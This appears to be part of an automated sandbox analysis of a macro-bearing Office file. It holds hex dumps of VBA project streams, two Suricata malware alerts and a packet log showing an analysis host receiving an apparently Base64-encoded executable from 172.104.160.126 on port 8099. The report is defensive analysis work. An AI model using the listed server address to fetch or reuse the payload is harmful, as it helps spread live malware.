Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 80 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 174

General
Stream Path:	VBA/__SRP_1
CLSID:
File Type:	data
Stream Size:	174
Entropy:	1.6032810527820052
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 06 00 00 00 00 00 00 09 11 04 00 00 00 00

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 1224

General
Stream Path:	VBA/__SRP_2
CLSID:
File Type:	data
Stream Size:	1224
Entropy:	2.0062113510689086
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 05 00 05 00 05 00 00 00 31 09 00 00 00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00 00 00 00 00 51 0d 00 00 00 00 00 00 00 00

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 356

General
Stream Path:	VBA/__SRP_3
CLSID:
File Type:	data
Stream Size:	356
Entropy:	2.1693699541959686
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . ` . . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 04 60 00 00 e1 0d ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: VBA/dir, File Type: data, Stream Size: 514

General
Stream Path:	VBA/dir
CLSID:
File Type:	data
Stream Size:	514
Entropy:	6.2857106919283545
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . > h . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * \\ C . . . . . m A ! O f f i c g O D . f . i . c g . . ! G {
Data Raw:	01 fe b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 e3 3e ab 68 02 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-22T15:58:45.771195+0200	TCP	2029280	ET MALWARE Observed Certificate Base64 Encoded Executable Inbound	8099	49195	172.104.160.126	192.168.2.6
2024-07-22T15:57:48.044440+0200	TCP	2029280	ET MALWARE Observed Certificate Base64 Encoded Executable Inbound	8099	49717	172.104.160.126	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2024 15:57:37.290169954 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:37.290256977 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:37.618436098 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:46.593611002 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:46.593657017 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:46.593781948 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:46.593995094 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:46.594027996 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:46.611236095 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:46.611321926 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:46.611478090 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:46.612370968 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:46.612407923 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:46.689435959 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:46.695535898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:46.695604086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:46.718877077 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:46.723723888 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:46.899533033 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:46.899660110 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:47.227660894 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:47.923765898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.924438000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.924448967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.924458027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.924504995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.924529076 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.925273895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.925286055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.925296068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.925307035 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.925337076 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.925355911 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.926068068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.926084042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.926095009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.926152945 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.926978111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.927090883 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.942838907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.942893028 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.943176985 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.943187952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.943279028 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.943407059 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.944150925 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.944161892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.944170952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.944180012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.944192886 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.944237947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.945236921 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.945250034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.945307970 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.946266890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.946276903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.946305037 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.947113991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.947124004 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.947128057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.947138071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.947166920 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.948944092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.948954105 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.949001074 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.950728893 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.950809002 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.951641083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.951652050 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.951662064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.951670885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:47.951699018 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:47.951725960 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.044440031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.044703007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.044751883 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.130525112 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.130584002 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.130661011 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.131546974 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.133389950 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.133418083 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.133835077 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.135431051 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.135663033 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.135675907 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.136001110 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.144507885 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.144521952 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.144990921 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.145420074 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.145600080 CEST	49714	443	192.168.2.6	40.126.31.69
Jul 22, 2024 15:57:48.145652056 CEST	443	49714	40.126.31.69	192.168.2.6
Jul 22, 2024 15:57:48.176534891 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.185066938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185121059 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185154915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185205936 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.185282946 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185316086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185333014 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.185348988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185420036 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.185475111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185611010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185642958 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185659885 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.185776949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185808897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185822964 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.185842991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.185913086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.186377048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186430931 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186464071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186507940 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.186599970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186633110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186646938 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.186667919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.186753035 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.187242031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187321901 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187355995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187380075 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.187614918 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187654018 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187688112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.187704086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.187730074 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.188210964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188261986 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188294888 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188337088 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.188410044 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188458920 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.188462019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188522100 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.188571930 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.189114094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189186096 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189218998 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189263105 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.189321995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189354897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189372063 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.189387083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189448118 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.189908981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.189944983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.190043926 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.277548075 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277580023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277595043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277637959 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.277772903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277786970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277801991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277817011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.277817965 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.277837038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.278100967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.278132915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.278152943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.278167009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.278244019 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.278286934 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.316539049 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.316845894 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.316962004 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.317812920 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.317862034 CEST	443	49715	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:48.317894936 CEST	49715	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:48.321410894 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.436403990 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436465979 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436491013 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436543941 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.436577082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436635017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436641932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.436773062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436805964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436825037 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.436839104 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.436902046 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.436995983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437027931 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437061071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437100887 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437246084 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437278032 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437310934 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437319040 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437360048 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437375069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437494993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437526941 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437555075 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437628984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437657118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437704086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437716007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437747955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437784910 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437886000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437937975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.437937975 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.437971115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438004017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438039064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438052893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.438096046 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.438307047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438339949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438396931 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.438652992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438704014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438735008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438791990 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.438915014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438947916 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438980103 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.438982010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439018011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439037085 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439260960 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439308882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439332008 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439342022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439374924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439404964 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439471006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439521074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439538002 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439553976 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439585924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439606905 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439620018 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439685106 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.439959049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.439991951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440026045 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440073967 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.440339088 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440408945 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.440571070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440675974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440726042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440732002 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.440757990 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440789938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440821886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440824986 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.440860987 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440871000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.440948009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.440980911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441016912 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441087008 CEST	8099	49717	172.104.160.126	192.168.2.6
